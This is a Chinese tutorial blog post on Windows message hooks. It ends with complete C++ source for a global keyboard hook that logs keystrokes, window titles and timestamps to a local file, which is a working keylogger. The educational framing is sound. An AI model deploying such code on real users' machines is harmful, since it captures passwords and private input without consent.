Hook初探
前言
“Hook”英文意味“鱼钩、钩子”,引申为“偷看或窃取信息时所使用的工具或手段”。当然,我们不仅可以查看往来“OS--应用程序--用户”这些信息,也可以操控他们。(文末会给出一个windows消息钩子源码)
前置知识
1.钩子种类
钩子的种类有很多,每种钩子都可以获取不同类型的消息。大类可以分为两类:
系统钩子:监视系统中所有线程的事件消息,需要放在DLL库中实现。是因为要想在所有的GUI线程中调用钩子函数就需要把钩子的dll模块加载到自己的内存空间,DLL(动态链接库)可以做到。
线程钩子:可以监视指定线程的事件消息
2.Windows消息机制
windows系统向用户提供GUI(图形用户界面),以事件驱动方式工作,例如点击鼠标、按下键盘,操作窗口等都是事件。Windows监控输入设备,将事件翻译成消息,存放在系统消息队列,再复制到相应的应用程序消息队列。Windows系统中有两种消息队列:系统消息队列 和 应用程序消息队列。当一个事件发生时,WIndows先将输入的消息放入系统消息队列,再将输入的消息添加到相应的应用队列中,应用程序中的消息循环在它的消息队列中检索每个消息并发送给相应的窗口函数。
过程就如上图所示,可以看到在操作系统和应用程序之间存在着一条“链”,我们就可以在这条“链”上设置钩子,就可以比应用程序更早看到消息。在键盘消息钩子函数的内部,除了可以查看消息之外,还
可以修改消息本身,而且还能对消息实施拦截,阻止消息传递。
3.设置键盘钩子SetWindowsHookEx()
HHOOK SetWindowsHookExA( [in] int idHook, //钩子类型 [in] HOOKPROC lpfn, //钩子程序(回调函数) [in] HINSTANCE hmod, //钩子程序所属的DLL句柄 [in] DWORD dwThreadId //想要挂钩的线程id(若设为0,则是全局钩子) );
需要注意的是,SetWindowsHookEx()函数的
本意是用于拦截和处理系统和应用程序事件,而非进行代码注入。所以适用于实现键盘钩子。
常用的钩子类型如下,更详细信息可以查阅微软文档
宏值 |
含义 |
WH_MSGFILTER | 截获用户与控件交互的消息 |
WH_KEYBOARD | 截获键盘消息 |
WH_GETMESSAGE | 截获从消息队列送出的消息 |
WH_CBT | 截获系统基本消息,激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件 |
WH_MOUSE | 截获鼠标消息 |
WH_CALLWNDPROCRET | 截获目标窗口处理完毕的消息 |
4.卸载键盘钩子UnhookWindowsHookEx()
BOOL UnhookWindowsHookEx( [in] HHOOK hhk //钩子句柄(HHOOK),唯一标识一个已安装的钩子程序 );
为什么要卸载钩子?
需要卸载钩子的主要原因是释放系统资源和停止对事件的监视和截获。钩子程序需要占用一定的系统资源来运行,如果不再需要钩子程序,就需要将其卸载,以释放这些系统资源。此外,钩子程序会截获操作系统中的各种事件,并可能对事件进行处理,如果钩子程序在某些情况下出现问题,可能会导致操作系统或应用程序出现异常行为,因此需要在不再需要钩子程序时及时卸载它,以保证系统和应用程序的稳定性和安全性。
程序实现
键盘hook.h(头文件)
#pragma once BOOL HookKeyBoard(); void unhookKeyboard(); std::string Dayofweek(int code); LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam); LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam); std::string HookCode(DWORD code, BOOL caps, BOOL shift);
键盘消息.cpp
#include<Windows.h> #include<string> #include<fstream> #include<sstream> #include<iostream> #include"键盘hook.h" HHOOK kKeyboardHook; //全局键盘Hook句柄 BOOL bShift = FALSE; //shift key std::string fileName = "F:\\test.txt"; //存放键盘消息 char cWindows[1000]; HWND lastWindows = NULL; int main() { printf("start !"); if (!HookKeyBoard())//未安装成功 { printf("Hook KeyBoard Failed!"); } unhookKeyboard();//卸载钩子 } /******************************************************** 函数作用:设置键盘钩子 返回值:是否hook成功 *********************************************************/ BOOL HookKeyBoard() { BOOL bRet = FALSE; //判断是否成功hook kKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, HookProcedure, GetModuleHandle(NULL), NULL); //#低级键盘输入消息 #回调函数地址 #钩子子程的句柄 #线程ID(为0不指定,全局) if (!kKeyboardHook) { //SetWindowsHookEx()失败 printf("[!] Failed to get handle from SetWindowsHookEx() [!]"); } else { printf("KeyCapture handle ready!"); //SetWindowsHookEx()安装成功 MSG Msg{}; //MSG初始化(MSG是windows中存储Windows消息的结构体) while (GetMessage(&Msg, NULL, 0,0) != 0)//GetMessage()从消息队列中获取一个消息并将其存储在MSG结构体中 { TranslateMessage(&Msg); //将虚拟键消息(WM_KEYDOWN、WM_KEYUP等)转换为字符消息(WM_CHAR)。 DispatchMessage(&Msg);//将获取到的消息分派给相应的窗口过程函数进行处理 } bRet = TRUE; } return bRet; } /******************************************************** 函数作用:钩子回调 返回值:是否hook成功 *********************************************************/ LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam) { std::ofstream myfile(fileName, std::ios::out | std::ios::app); BOOL caps = FALSE;//默认大写关闭 SHORT capsShort = GetKeyState(VK_CAPITAL); std::string outPut; //定义了一个名为outPut的字符串变量 std::stringstream ssTemp;//将多个不同类型的值(如整数、浮点数、字符串等)合并成一个字符串 if (capsShort > 0) { // 如果大于0,则大写键按下,说明开启大写;反之小写 caps = TRUE; } KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam; //低级键盘程序结构体 if (nCode == HC_ACTION) { //信息数据准备好收回 //检查shift键 if (GetAsyncKeyState(VK_SHIFT) & 0x8000) bShift = TRUE; else bShift = FALSE; //开始设置登录键 if (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN) { //检索当前用户使用窗口的句柄 HWND currentWindows = GetForegroundWindow(); //检查我们是否需要写入新窗口输入 if (currentWindows != lastWindows) { SYSTEMTIME t{}; GetLocalTime(&t); //获取当前系统时间 int day = t.wDay; int month = t.wMonth; int year = t.wYear; int hour = t.wHour; int min = t.wMinute; int sec = t.wSecond; int dayName = t.wDayOfWeek; //构建输出标头 ssTemp << "\n\n[+]" << Dayofweek(dayName) << "-" << day << "/" << month << "/" << " "; ssTemp << hour << ":" << min << ":" << sec; outPut.append(ssTemp.str()); ssTemp.clear(); //获取窗口文本 int c = GetWindowTextA(GetForegroundWindow(), cWindows, sizeof(cWindows)); std::cout << c; ssTemp << "--当前窗口:" << cWindows << "\n\n"; std::cout << ssTemp.str() << std::endl; myfile << ssTemp.str(); //设置下一个callbackCC lastWindows = currentWindows; } //捕获键 if (p->vkCode) { ssTemp.clear(); ssTemp << HookCode(p->vkCode, caps, bShift); std::cout << ssTemp.str(); myfile << ssTemp.str(); } //最终输出逻辑 } } //钩子子程必须时刻传递消息 myfile.close(); return CallNextHookEx(NULL, nCode, wParam, lParam); // hook链 } /******************************************************** 函数作用:时间 返回值:返回时间 *********************************************************/ std::string Dayofweek(int code) { //返回文本中一年中的当天 std::string name; switch (code) { case 0:name = "[SUNDAY]"; break; case 1:name = "[MONDAY]"; break; case 2:name = "[TUESDAY]"; break; case 3:name = "[WENSDAY]"; break; case 4:name = "[THURSDAY]"; break; case 5:name = "[FRIDAY]"; break; case 6:name = "[SATURDAY]"; break; default: name = "[UNKNOW]"; } return name; } /******************************************************** 函数作用:将获得键盘消息转换为字符 参数说明: DWORD code 获得的键盘消息 BOOL caps 是否开启大写 BOOL shift 是否按下shift 返回值:转换的字符 *********************************************************/ std::string HookCode(DWORD code, BOOL caps,BOOL shift) //参数一表示键盘按下的虚拟键,参数二判断Capslk是否打开,
参数三判断shift是否被按下 { std::string key; switch (code) { case 0x41:key = caps ? (shift ? "a" : "A") : (shift ? "A" : "a"); break; case 0x42:key = caps ? (shift ? "b" : "B") : (shift ? "B" : "b"); break; case 0x43:key = caps ? (shift ? "c" : "C") : (shift ? "C" : "c"); break; case 0x44:key = caps ? (shift ? "d" : "D") : (shift ? "D" : "d"); break; case 0x45:key = caps ? (shift ? "e" : "E") : (shift ? "E" : "e"); break; case 0x46:key = caps ? (shift ? "f" : "F") : (shift ? "F" : "f"); break; case 0x47:key = caps ? (shift ? "g" : "G") : (shift ? "G" : "g"); break; case 0x48:key = caps ? (shift ? "h" : "H") : (shift ? "H" : "h"); break; case 0x49:key = caps ? (shift ? "i" : "I") : (shift ? "I" : "i"); break; case 0x4A:key = caps ? (shift ? "j" : "J") : (shift ? "J" : "j"); break; case 0x4B:key = caps ? (shift ? "k" : "K") : (shift ? "K" : "k"); break; case 0x4C:key = caps ? (shift ? "l" : "L") : (shift ? "L" : "l"); break; case 0x4D:key = caps ? (shift ? "m" : "M") : (shift ? "M" : "m"); break; case 0x4E:key = caps ? (shift ? "n" : "N") : (shift ? "N" : "n"); break; case 0x4F:key = caps ? (shift ? "o" : "O") : (shift ? "O" : "o"); break; case 0x50:key = caps ? (shift ? "p" : "P") : (shift ? "P" : "p"); break; case 0x51:key = caps ? (shift ? "q" : "Q") : (shift ? "Q" : "q"); break; case 0x52:key = caps ? (shift ? "r" : "R") : (shift ? "R" : "r"); break; case 0x53:key = caps ? (shift ? "s" : "S") : (shift ? "S" : "s"); break; case 0x54:key = caps ? (shift ? "t" : "T") : (shift ? "T" : "t"); break; case 0x55:key = caps ? (shift ? "u" : "U") : (shift ? "U" : "u"); break; case 0x56:key = caps ? (shift ? "v" : "V") : (shift ? "V" : "v"); break; case 0x57:key = caps ? (shift ? "w" : "W") : (shift ? "W" : "w"); break; case 0x58:key = caps ? (shift ? "x" : "X") : (shift ? "X" : "x"); break; case 0x59:key = caps ? (shift ? "y" : "Y") : (shift ? "Y" : "y"); break; case 0x5A:key = caps ? (shift ? "z" : "Z") : (shift ? "Z" : "z"); break; //sleep key case VK_SLEEP:key = "[SLEEP]"; break; //数字键 case VK_NUMPAD0:key = "0"; break; case VK_NUMPAD1:key = "1"; break; case VK_NUMPAD2:key = "2"; break; case VK_NUMPAD3:key = "3"; break; case VK_NUMPAD4:key = "4"; break; case VK_NUMPAD5:key = "5"; break; case VK_NUMPAD6:key = "6"; break; case VK_NUMPAD7:key = "7"; break; case VK_NUMPAD8:key = "8"; break; case VK_NUMPAD9:key = "9"; break; case VK_MULTIPLY:key = "*"; break; case VK_ADD: key = "+"; break; case VK_SEPARATOR: key = "-"; break; case VK_SUBTRACT: key = "-"; break; case VK_DECIMAL:key = "."; break; case VK_DIVIDE:key = "/"; break; //F区键 case VK_F1:key = "[F1]"; break; case VK_F2:key = "[F2]"; break; case VK_F3:key = "[F3]"; break; case VK_F4:key = "[F4]"; break; case VK_F5:key = "[F5]"; break; case VK_F6:key = "[F6]"; break; case VK_F7:key = "[F7]"; break; case VK_F8:key = "[F8]"; break; case VK_F9:key = "[F9]"; break; case VK_F10:key = "[F10]"; break; case VK_F11:key = "[F11]"; break; case VK_F12:key = "[F12]"; break; //功能键 case VK_NUMLOCK:key = "[NUM-LOCK]"; break; case VK_SCROLL:key = "[SCROLL-LOCK]"; break; case VK_BACK:key = "[BACK]"; break; case VK_TAB:key = "[TAB]"; break; case VK_CLEAR: key = "[CLEAR]"; break; case VK_RETURN: key = "[ENTER]"; break; case VK_SHIFT: key = "[SHIFT]"; break; case VK_CONTROL: key = "[CTRL]"; break; case VK_MENU: key = "[ALT]"; break; case VK_PAUSE: key = "[PAUSE]"; break; case VK_CAPITAL: key = "[CAP-LOCK]"; break; case VK_ESCAPE: key = "[ESC]"; break; case VK_SPACE: key = "[SPACE]"; break; case VK_PRIOR: key = "[PAGEUP]"; break; case VK_NEXT: key = "[PAGEDOWN]"; break; case VK_END: key = "[END]"; break; case VK_HOME: key = "[HOME]"; break; case VK_LEFT: key = "[LEFT]"; break; case VK_UP: key = "[UP]"; break; case VK_RIGHT: key = "[RIGHT]"; break; case VK_DOWN: key = "[DOWN]"; break; case VK_SELECT: key = "[SELECT]"; break; case VK_PRINT: key = "[PRINT]"; break; case VK_SNAPSHOT: key = "[PRTSCRN]"; break; case VK_INSERT: key = "[INS]"; break; case VK_DELETE: key = "[DEL]"; break; case VK_HELP: key = "[HELP]"; break; //需要使用shift的数字键 case 0x31: key = shift ? "!" : "1"; break; case 0x32: key = shift ? "@" : "2"; break; case 0x33: key = shift ? "#" : "3"; break; case 0x34: key = shift ? "$" : "4"; break; case 0x35: key = shift ? "%" : "5"; break; case 0x36: key = shift ? "^" : "6"; break; case 0x37: key = shift ? "&" : "7"; break; case 0x38: key = shift ? "*" : "8"; break; case 0x39: key = shift ? "(" : "9"; break; case 0x30: key = shift ? ")" : "0"; break; // Windows键 case VK_LWIN: key = "[WIN]"; break; case VK_RWIN: key = "[WIN]"; break; case VK_LSHIFT: key = "[SHIFT]"; break; case VK_RSHIFT: key = "[SHIFT]"; break; case VK_LCONTROL: key = "[CTRL]"; break; case VK_RCONTROL: key = "[CTRL]"; break; // 需要使用shift的符号键 case VK_OEM_1: key = shift ? ":" : ";"; break; case VK_OEM_PLUS: key = shift ? "+" : "="; break; case VK_OEM_COMMA: key = shift ? "<" : ","; break; case VK_OEM_MINUS: key = shift ? "_" : "-"; break; case VK_OEM_PERIOD: key = shift ? ">" : "."; break; case VK_OEM_2: key = shift ? "?" : "/"; break; case VK_OEM_3: key = shift ? "~" : "`"; break; case VK_OEM_4: key = shift ? "{" : "["; break; case VK_OEM_5: key = shift ? "\\" : "|"; break; case VK_OEM_6: key = shift ? "}" : "]"; break; case VK_OEM_7: key = shift ? "\"" : "'"; break; //组合键 case VK_PLAY: key = "[PLAY]"; case VK_ZOOM: key = "[ZOOM]"; case VK_OEM_CLEAR: key = "[CLEAR]"; case VK_CANCEL: key = "[CTRL-C]"; //若没有这个键 default: key = "[UNK-KEY]"; break; } return key; } /******************************************************** 函数作用:释放键盘钩子 返回值: void *********************************************************/ void unhookKeyboard() { if (kKeyboardHook != 0) UnhookWindowsHookEx(kKeyboardHook); exit(0); }
(程序参考(45条消息) 手把手教你用SetWindowsHookEx做一个键盘记录器_setwindowshook 键盘_CodeBowl的博客-CSDN博客,但其中代码关于shift的判断有些错误,以及键盘上方数字区的16进制错误,本程序已作修改)
运行截图
程序
记事本
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库